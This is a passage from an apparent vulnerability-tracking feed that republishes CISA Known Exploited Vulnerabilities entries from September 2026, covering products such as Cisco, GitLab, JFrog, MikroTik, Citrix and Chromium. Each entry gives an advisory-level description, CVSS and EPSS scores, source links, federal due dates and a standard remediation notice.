necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 16, 2026; federal due date Sep 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Acronis Backup Incorrect Default Permissions Vulnerability https://kevwire.com/record/CVE-2026-87886 Acronis Backup Incorrect Default Permissions Vulnerability (Sep 16, 2026). Acronis Backup plugin for cPanel & WHM and extension for Plesk contains an incorrect default permissions vulnerability that could allow for privilege escalation. CVSS 7.8 (version 3.0; evidence as of Sep 17, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-87886). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87886&date=2026-10-25). Sources: CISA KEV entry CVE-2026-87886: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87886&date=2026-10-25 CVE Program CNA Acronis: https://cveawg.mitre.org/api/cve/CVE-2026-87886 CISA added this entry on 2026-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 16, 2026; federal due date Sep 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Secure Email Gateway SQL Injection Vulnerability https://kevwire.com/record/CVE-2026-76461 Cisco Secure Email Gateway SQL Injection Vulnerability (Sep 14, 2026). Cisco AsyncOS software for Cisco Secure Email Gateway (SEG) contains a SQL injection vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system. CVSS 9.8 (version 3.1; evidence as of Sep 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-76461). EPSS 29.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76461&date=2026-10-25). Sources: CISA KEV entry CVE-2026-76461: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76461&date=2026-10-25 CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-76461 CISA added this entry on 2026-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 14, 2026; federal due date Sep 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ConnectWise ScreenConnect Improper Privilege Management and Missing Authorization Vulnerability https://kevwire.com/record/CVE-2026-84869 ConnectWise ScreenConnect Improper Privilege Management and Missing Authorization Vulnerability (Sep 11, 2026). ConnectWise ScreenConnect contains both an improper privilege management and missing authorization vulnerability that may allow an attacker to transfer and execute files through an active remote session without authorization or host confirmation. CVSS 9.9 (version 3.1; evidence as of Sep 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-84869). EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84869&date=2026-10-25). Sources: CISA KEV entry CVE-2026-84869: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84869&date=2026-10-25 CVE Program CNA ConnectWise: https://cveawg.mitre.org/api/cve/CVE-2026-84869 CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 11, 2026; federal due date Sep 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JFrog Artifactory Incorrect Authorization Vulnerability https://kevwire.com/record/CVE-2026-42016 JFrog Artifactory Incorrect Authorization Vulnerability (Sep 11, 2026). JFrog Artifactory contains an incorrect authorization vulnerability that leads to a privilege escalation attack due to a validation check of the token signature/issuer and not the token’s scope. CVSS 8.1 (version 3.1; evidence as of Jul 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-42016). EPSS 8.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42016&date=2026-10-25). Sources: CISA KEV entry CVE-2026-42016: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42016&date=2026-10-25 CVE Program CNA JFROG: https://cveawg.mitre.org/api/cve/CVE-2026-42016 CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 11, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JFrog Artifactory Improper Authentication Vulnerability https://kevwire.com/record/CVE-2026-42018 JFrog Artifactory Improper Authentication Vulnerability (Sep 11, 2026). JFrog Artifactory contains an improper authentication vulnerability that could return an internal anonymous-user token to an unauthenticated caller when anonymous access is disabled, potentially exposing sensitive resources. CVSS 7.5 (version 3.1; evidence as of Aug 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-42018). EPSS 9.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42018&date=2026-10-25). Sources: CISA KEV entry CVE-2026-42018: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42018&date=2026-10-25 CVE Program CNA JFROG: https://cveawg.mitre.org/api/cve/CVE-2026-42018 CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 11, 2026; federal due date Sep 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GitLab Community Edition and Enterprise Edition Path Traversal Vulnerability https://kevwire.com/record/CVE-2026-85706 GitLab Community Edition and Enterprise Edition Path Traversal Vulnerability (Sep 11, 2026). GitLab Community Edition and Enterprise Edition contains a path traversal vulnerability that allows an unauthenticated user to read arbitrary files due to an improper path confinement and missing authentication enforcement in the repository commits API. CVSS 10.0 (version 3.1; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-85706). EPSS 97.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85706&date=2026-10-25). Sources: CISA KEV entry CVE-2026-85706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85706&date=2026-10-25 CVE Program CNA GitLab: https://cveawg.mitre.org/api/cve/CVE-2026-85706 CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 11, 2026; federal due date Sep 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### MikroTik RouterOS Improper Neutralization of Argument Delimiters in a Command Vulnerability https://kevwire.com/record/CVE-2026-86060 MikroTik RouterOS Improper Neutralization of Argument Delimiters in a Command Vulnerability (Sep 10, 2026). MikroTik RouterOS contains an improper neutralization of argument delimiters in a command vulnerability which allows an attacker to change the trusted RouterOS policy mask, leading to privilege escalation. CVSS 9.2 (version 4.0; evidence as of Sep 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-86060). EPSS 6.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86060&date=2026-10-25). Sources: CISA KEV entry CVE-2026-86060: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86060&date=2026-10-25 CVE Program CNA CERT-PL: https://cveawg.mitre.org/api/cve/CVE-2026-86060 CISA added this entry on 2026-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 10, 2026; federal due date Sep 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### MikroTik RouterOS Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2026-67277 MikroTik RouterOS Missing Authentication for Critical Function Vulnerability (Sep 10, 2026). MikroTik RouterOS contains a missing authentication for critical function vulnerability which allows kernel memory disclosure and denial of service in the btest service. CVSS 8.8 (version 4.0; evidence as of Sep 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-67277). EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-67277&date=2026-10-25). Sources: CISA KEV entry CVE-2026-67277: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-67277&date=2026-10-25 CVE Program CNA CERT-PL: https://cveawg.mitre.org/api/cve/CVE-2026-67277 CISA added this entry on 2026-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 10, 2026; federal due date Sep 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler Authentication Bypass Using an Alternate Path or Channel Vulnerability https://kevwire.com/record/CVE-2026-19490 Citrix NetScaler Authentication Bypass Using an Alternate Path or Channel Vulnerability (Sep 9, 2026). Citrix NetScaler ADC and NetScaler Gateway contain an authentication-bypass vulnerability involving an alternate path or channel. When the NetScaler appliance is configured as an AAA virtual server or as a Gateway (SSL VPN, ICA Proxy, CVPN, or RDP Proxy), an unauthenticated remote threat actor may be able to bypass authentication. CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19490). EPSS 32.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19490&date=2026-10-25). Sources: CISA KEV entry CVE-2026-19490: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json NVD CVE-2026-19490: https://nvd.nist.gov/vuln/detail/CVE-2026-19490 Vendor advisory (via NVD references): https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19490&date=2026-10-25 CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 9, 2026; federal due date Sep 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet Multiple Products Heap-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-25249 Fortinet Multiple Products Heap-based Buffer Overflow Vulnerability (Sep 9, 2026). Fortinet FortiOS, FortiSwitchManager, and FortiSASE contain a heap-based buffer overflow vulnerability that allows an attacker to execute unauthorized code or commands via specially crafted packets. CVSS 7.4 (version 3.1; evidence as of Feb 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-25249). EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-25249&date=2026-10-25). Sources: CISA KEV entry CVE-2025-25249: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-25249&date=2026-10-25 CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2025-25249 CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 9, 2026; federal due date Sep 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Out of Bounds Write Vulnerability https://kevwire.com/record/CVE-2026-87491 Google Chromium V8 Out of Bounds Write Vulnerability (Sep 9, 2026). Google Chromium V8 contains an out of bounds write vulnerability that allows a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. CVSS 8.8 (version 3.1; evidence as of Sep 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-87491). EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87491&date=2026-10-25). Sources: CISA KEV entry CVE-2026-87491: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87491&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-87491 CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 9, 2026; federal due date Sep 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Firewall Management Center Authentication Bypass Using an Alternate Path or Channel Vulnerability https://kevwire.com/record/CVE-2026-20079 Cisco Firewall Management Center Authentication Bypass Using an Alternate Path or Channel Vulnerability (Sep 9, 2026). Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management contain an authentication Bypass using an alternate path or channel vulnerability that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system. CVSS 10.0 (version 3.1; evidence as of Sep 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20079). EPSS 88.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20079&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20079&date=2026-10-25 CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20079 CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 9, 2026; federal due date Sep 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Commerce and Magento Improper Neutralization of Special Elements Used in a Template Engine Vulnerability https://kevwire.com/record/CVE-2026-75650 Adobe Commerce and Magento Improper Neutralization of Special Elements Used in a Template Engine Vulnerability (Sep 8, 2026). Adobe Commerce and Magento Open Source contain an improper neutralization of special elements used in a template engine vulnerability that could allow an attacker to execute arbitrary code. CVSS 10.0 (version 3.1; evidence as of Sep 7, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-75650). EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75650&date=2026-10-25). Sources: CISA KEV entry CVE-2026-75650: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75650&date=2026-10-25 CVE Program CNA adobe: https://cveawg.mitre.org/api/cve/CVE-2026-75650 CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2026; federal due date Sep 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Link Following Vulnerability https://kevwire.com/record/CVE-2026-81963 Microsoft Windows Link Following Vulnerability (Sep 8, 2026). Microsoft Windows Update Stack contains a link following vulnerability that allows a local attacker to escalate privileges locally up to SYSTEM. CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-81963). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81963&date=2026-10-25). Sources: CISA KEV entry CVE-2026-81963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81963&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-81963 CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2026; federal due date Sep 22, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### N-able N-central Static Code Injection Vulnerability https://kevwire.com/record/CVE-2026-86218 N-able N-central Static Code Injection Vulnerability (Sep 8, 2026). N-able N-central contains a static code injection vulnerability that could allow for pre-authentication remote code execution. CVSS 10.0 (version 4.0; evidence as of Sep 6, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-86218). EPSS 15.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86218&date=2026-10-25). Sources: CISA KEV entry CVE-2026-86218: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86218&date=2026-10-25 CVE Program CNA N-able: https://cveawg.mitre.org/api/cve/CVE-2026-86218 CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2026; federal due date Sep 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2026-85880 Microsoft Windows Heap-Based Buffer Overflow Vulnerability (Sep 8, 2026). Microsoft Windows Advanced Local Procedure Call contains a heap-based buffer overflow vulnerability that allows an attacker to elevate privileges locally. CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-85880). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85880&date=2026-10-25). Sources: CISA KEV entry CVE-2026-85880: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85880&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-85880 CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2026; federal due date Sep 22, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2026-85046 Google Chromium V8 Type Confusion Vulnerability (Sep 4, 2026). Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. CVSS 8.8 (version 3.1; evidence as of Sep 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-85046). EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85046&date=2026-10-25). Sources: CISA KEV entry CVE-2026-85046: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85046&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-85046 CISA added this entry on 2026-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 4, 2026; federal due date Sep 18, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### BerriAI LiteLLM Improper Authentication Vulnerability 